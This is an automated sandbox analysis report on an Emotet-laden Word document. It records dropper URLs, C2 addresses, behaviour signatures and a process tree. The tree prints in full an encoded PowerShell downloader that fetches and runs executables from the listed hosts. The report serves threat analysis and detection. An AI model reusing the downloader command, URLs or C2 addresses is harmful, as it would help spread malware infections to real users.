Analysis

  • max time kernel
    137s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    20/10/2020, 21:23

General

  • Target
    Report - October.doc
  • Size 177KB
  • Sample201020-lyeb5v35gs
  • SHA256 9a65518effade1bf32d7589d7f7a8a028f9fa7f1fca4491673680847d26d3f0a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://nursefreedomsystem.com/cgi-bin/eYae/

  • exe.dropper

    http://masterbookpub.com/cgi-bin/H/

  • exe.dropper

    http://247tvad.com/wp-includes/CLwQ/

  • exe.dropper

    http://wearenursesvip.com/wp-includes/ZbcC/

  • exe.dropper

    http://demo.acousticify.net/intune-company/UAONxeh/

  • exe.dropper

    http://hello.congduhoc.com/logstash-mutate/d/

  • exe.dropper

    https://musicrepublicmagazine.com/wp-content/HbW/

  • exe.dropper

    https://www.littleforbig.com/menuso/5IW5/

Extracted

Family
  • emotet

Botnet
  • Epoch2

C2
  • 75.188.96.231:80

  • 72.10.36.104:8080

  • 167.114.153.111:8080

  • 72.249.144.95:8080

  • 80.241.255.202:8080

  • 71.72.196.159:80

  • 164.160.45.41:8080

  • 203.153.216.189:7080

  • 185.94.252.104:443

  • 142.112.10.95:20

  • 61.19.246.238:443

  • 220.245.198.194:80

  • 37.139.21.175:8080

  • 108.46.29.236:80

  • 209.54.13.14:80

  • 87.106.136.232:8080

  • 87.106.139.101:8080

  • 176.111.60.55:8080

  • 130.0.132.242:80

  • 94.200.114.161:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Report - October.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3024
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD UwBlAFQALQB2AEEAcgBJAEEAYgBsAGUAIAAoACcAcgAnACsAJwBPADIAJwArACcAVwBmAHEAJwApACAAKAAgACAAWwBUAHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsAMQB9AHsANAB9AHsANQB9AHsAMAB9ACIALQBmACAAJwBJAHIARQBjAHQATwBSAFkAJwAsACcAcwAnACwAJwBzACcALAAnAFkAJwAsACcAVABlACcALAAnAG0ALgBJAG8ALgBkACcAKQAgACAAKQAgACAAOwAgACAAIAAgAHMAZQB0ACAAIAAoACcAQwBsADQAawAnACsAJwBJACcAKQAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsANgB9AHsAMgB9AHsANAB9AHsANQB9AHsAMQB9AHsAMwB9AHsAMAB9ACIAIAAtAGYAIAAnAEEARwBFAFIAJwAsACcAVABNACcALAAnAGUAcgB2AEkAJwAsACcAQQBOACcALAAnAEMARQBQACcALAAnAE8ASQBOACcALAAnAHMAeQBTAFQARQBNAC4AbgBFAFQALgBTACcAKQAgACAAKQAgACAAOwAgACAAJABQADMANgBfAGYAMABfAD0AKAAoACcAVwAnACsAJwBiAHkAJwApACsAKAAnAHkAOQAnACsAJwA5AHgAJwApACkAOwAkAEoAOABuAGkANAB0AHoAPQAkAEUAdgBsAHIAegB2AHYAIAArACAAWwBjAGgAYQByAF0AKAAxACAAKwAgADEAIAArACAAMgAwACAAKwAgADEAMAAgACsAIAAxADAAKQAgACsAIAAkAEoAcQBoAGkANABtADYAOwAkAFIAbAB4AGIAegB6AGYAPQAoACgAJwBVACcAKwAnADkANQAwACcAKQArACgAJwBfACcAKwAnAHQAbwAnACkAKQA7ACAAIAAkAHIATwAyAFcAZgBxADoAOgAiAGMAYABSAGUAQQBUAEUAZABJAFIAZQBjAGAAVABPAGAAUgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAoACcANABpAFUAVwAnACsAJwAzAGcAJwApACsAKAAnADEAJwArACcAYQB5AGgANABpAFUAJwApACsAJwBNAHUAJwArACcAMgBsACcAKwAoACcAZgBlACcAKwAnAGkANABpAFUAJwApACkALgAiAFIAZQBwAEwAYABBAGAAYwBlACIAKAAoACcANAAnACsAJwBpAFUAJwApACwAJwBcACcAKQApACkAOwAkAFgAdABlAHYANQAyAG4APQAoACcARgAnACsAJwBiAHcAJwArACgAJwB6ACcAKwAnADIAMwBxACcAKQApADsAIAAgACgAIABjAGgASQBsAEQAaQBUAEUATQAgACAAKAAnAHYAYQAnACsAJwByAEkAYQBCAGwARQA6AGMAbAA0AEsAJwArACcAaQAnACkAIAAgACkALgB2AGEAbAB1AEUAOgA6ACIAcwBFAEMAVQBSAGAASQBUAGAAeQBwAFIAbwB0AE8AYABjAE8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQARgBvAF8AdwBsAHcAdAA9ACgAJwBMAG4AJwArACcAegAyACcAKwAoACcAMwAnACsAJwB3ADQAJwApACkAOwAkAE0AdgAyAHoAMwB0AHgAIAA9ACAAKAAnAEIAJwArACcAeABsACcAKwAnAGsAaAAnACsAKAAnAGoAcQAnACsAJwA5ADkAJwApACkAOwAkAFYAeQBkAHEAZwBhAHIAPQAoACcAVAB3ACcAKwAoACcAdAAzAGkAJwArACcAawBhACcAKQApADsAJABEAHEAYwB3AGoAdgBpAD0AKAAoACcAUQBlAHEAJwArACcAZwBtACcAKQArACcAMAAwACcAKQA7ACQAVAA3ADcAZwBpADYAawA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwByAEoAJwArACgAJwBIAFcAJwArACcAMwBnADEAJwApACsAJwBhACcAKwAnAHkAaAAnACsAKAAnAHIASgAnACsAJwBIACcAKQArACgAJwBNAHUAJwArACcAMgAnACkAKwAoACcAbABmACcAKwAnAGUAaQByAEoAJwArACcASAAnACkAKQAuACIAcgBFAHAAbABhAGAAYwBFACIAKAAoACcAcgAnACsAJwBKAEgAJwApACwAJwBcACcAKQApACsAJABNAHYAMgB6ADMAdAB4ACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAUgB6ADMANwBvAF8AaAA9ACgAKAAnAEgAcgA3ACcAKwAnAGgAJwApACsAKAAnAG0AJwArACcAbABvACcAKQApADsAJABQAHkAXwByAGcAYgBsAD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcARQBCAEMAbABJAGUAbgBUADsAJABYADcAbQBsAHYAOAB4AD0AKAAnAGgAJwArACcAdAB0ACcAKwAoACcAcAA6ACcAKwAnAC8AJwArACcALwBuAHUAcgAnACkAKwAnAHMAJwArACcAZQBmACcAKwAnAHIAZQAnACsAJwBlACcAKwAoACcAZABvACcAKwAnAG0AJwApACsAJwBzACcAKwAoACcAeQBzAHQAZQBtACcAKwAnAC4AJwApACsAKAAnAGMAbwAnACsAJwBtAC8AJwApACsAJwBjAGcAJwArACgAJwBpACcAKwAnAC0AYgBpAG4ALwAnACsAJwBlACcAKQArACgAJwBZAGEAJwArACcAZQAvACcAKQArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwA6AC8AJwArACcALwAnACsAJwBtACcAKwAnAGEAJwArACcAcwB0ACcAKwAoACcAZQByACcAKwAnAGIAJwApACsAJwBvACcAKwAoACcAbwBrAHAAJwArACcAdQAnACkAKwAoACcAYgAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAGMAJwApACsAJwBnAGkAJwArACgAJwAtAGIAJwArACcAaQAnACsAJwBuAC8ASAAnACkAKwAnAC8AKgAnACsAJwBoACcAKwAoACcAdAB0AHAAOgAvACcAKwAnAC8AMgA0ACcAKwAnADcAJwApACsAKAAnAHQAJwArACcAdgBhACcAKQArACgAJwBkACcAKwAnAC4AYwBvAG0AJwApACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAKAAnAC0AaQBuACcAKwAnAGMAbAB1ACcAKQArACgAJwBkAGUAcwAnACsAJwAvACcAKQArACgAJwBDAEwAJwArACcAdwBRACcAKQArACgAJwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAOgAnACsAJwAvAC8AdwAnACkAKwAnAGUAYQAnACsAJwByAGUAJwArACgAJwBuAHUAcgBzACcAKwAnAGUAcwB2AGkAcAAnACsAJwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKQArACcALQAnACsAJwBpAG4AJwArACgAJwBjAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwAnACkAKwAoACcAWgAnACsAJwBiAGMAQwAnACkAKwAnAC8AJwArACgAJwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKQArACgAJwAvAGQAZQAnACsAJwBtACcAKQArACcAbwAnACsAJwAuAGEAJwArACgAJwBjAG8AJwArACcAdQBzACcAKQArACcAdAAnACsAKAAnAGkAYwAnACsAJwBpAGYAeQAuACcAKQArACcAbgAnACsAKAAnAGUAJwArACcAdAAvAGkAJwApACsAKAAnAG4AdAB1AG4AZQAnACsAJwAtACcAKwAnAGMAbwAnACkAKwAnAG0AJwArACgAJwBwAGEAbgAnACsAJwB5AC8AJwApACsAKAAnAFUAQQAnACsAJwBPAE4AJwApACsAKAAnAHgAJwArACcAZQBoAC8AJwApACsAJwAqAGgAJwArACcAdAB0ACcAKwAnAHAAOgAnACsAJwAvACcAKwAoACcALwAnACsAJwBoAGUAJwApACsAKAAnAGwAbAAnACsAJwBvACcAKQArACcALgBjACcAKwAoACcAbwBuAGcAJwArACcAZAAnACsAJwB1AGgAbwBjAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAbABvAGcAJwArACcAcwAnACsAJwB0AGEAJwApACsAKAAnAHMAaAAtAG0AdQAnACsAJwB0ACcAKwAnAGEAdABlAC8AZAAnACkAKwAoACcALwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAoACcAdAAnACsAJwBwAHMAJwApACsAKAAnADoALwAnACsAJwAvAG0AdQAnACkAKwAoACcAcwBpACcAKwAnAGMAJwApACsAJwByACcAKwAnAGUAcAAnACsAKAAnAHUAYgAnACsAJwBsAGkAYwAnACkAKwAoACcAbQBhAGcAJwArACcAYQB6ACcAKwAnAGkAJwArACcAbgBlAC4AYwBvAG0AJwArACcALwB3ACcAKQArACgAJwBwAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdAAnACkAKwAoACcALwBIAGIAVwAnACsAJwAvACcAKwAnACoAaAB0AHQAcAAnACsAJwBzADoALwAvACcAKQArACcAdwAnACsAJwB3AHcAJwArACcALgBsACcAKwAoACcAaQB0AHQAbABlAGYAJwArACcAbwAnACsAJwByACcAKQArACgAJwBiAGkAJwArACcAZwAuACcAKQArACgAJwBjAG8AbQAvAG0AZQAnACsAJwBuAHUAJwArACcAcwAnACkAKwAoACcAbwAnACsAJwAvADUASQBXADUAJwArACcALwAnACkAKQAuACIAcwBQAGwAYABJAHQAIgAoACQARwB1AGUAXwA3AG0AbgAgACsAIAAkAEoAOABuAGkANAB0AHoAIAArACAAJABMAG0ANQBiAHYAawAwACkAOwAkAFEAcQBkAHUAdABmAGoAPQAoACgAJwBHAG8AbQAnACsAJwA0ACcAKQArACcAMQAnACsAJwBhAG8AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABVAHQAYwBiAHYAawBnACAAaQBuACAAJABYADcAbQBsAHYAOAB4ACkAewB0AHIAeQB7ACQAUAB5AF8AcgBnAGIAbAAuACIARABgAE8AVwBOAGAAbABPAEEAZABmAEkATABlACIAKAAkAFUAdABjAGIAdgBrAGcALAAgACQAVAA3ADcAZwBpADYAawApADsAJABTAHAAOAAzADUAMABoAD0AKAAoACcASQAnACsAJwB0AHAAYgBmACcAKQArACcAZgAnACsAJwBkACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABUADcANwBnAGkANgBrACkALgAiAEwARQBgAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADkANgA5ADMAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAJwArACcAaQBuACcAKQArACcAMwAnACsAJwAyAF8AJwArACgAJwBQAHIAbwBjACcAKwAnAGUAcwBzACcAKQApACkALgAiAEMAcgBgAGUAQQBUAGUAIgAoACQAVAA3ADcAZwBpADYAawApADsAJABCAHYANwBpADYAcwBlAD0AKAAnAFkAMgAnACsAJwByAF8AJwArACgAJwB2ACcAKwAnAHUAcAAnACkAKQA7AGIAcgBlAGEAawA7ACQATgBtAGYAbwBoADAAeQA9ACgAKAAnAFQAaAAnACsAJwBfADEAJwApACsAKAAnAGgAJwArACcAYQBkACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAGsAeABwAHQAZAA3AD0AKAAoACcAVQAnACsAJwBxADcAJwApACsAKAAnAGgAMQAnACsAJwBtADMAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1900
  • C:\Users\Admin\W3g1ayh\Mu2lfei\Bxlkhjq99.exe
    C:\Users\Admin\W3g1ayh\Mu2lfei\Bxlkhjq99.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2408
    • C:\Windows\SysWOW64\FXSXP32\Wpc.exe
      "C:\Windows\SysWOW64\FXSXP32\Wpc.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1712

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1712-14-0x0000000000600000-0x0000000000619000-memory.dmp

        memory/1712-15-0x0000000000620000-0x0000000000638000-memory.dmp

        memory/1900-5-0x00007FFF524A0000-0x00007FFF52E8C000-memory.dmp

        memory/1900-6-0x0000019E81C00000-0x0000019E81C01000-memory.dmp

        memory/1900-7-0x0000019E99ED0000-0x0000019E99ED1000-memory.dmp

        memory/2408-10-0x0000000002120000-0x0000000002139000-memory.dmp

        memory/2408-11-0x0000000002140000-0x0000000002158000-memory.dmp

        memory/3024-4-0x000001A8AE457000-0x000001A8AE459000-memory.dmp

        memory/3024-3-0x000001A8AE31F000-0x000001A8AE330000-memory.dmp

        memory/3024-2-0x000001A8AE31F000-0x000001A8AE330000-memory.dmp

        memory/3024-0-0x00007FFF59A10000-0x00007FFF5A0D6000-memory.dmp

        memory/3024-1-0x000001A8AE31F000-0x000001A8AE330000-memory.dmp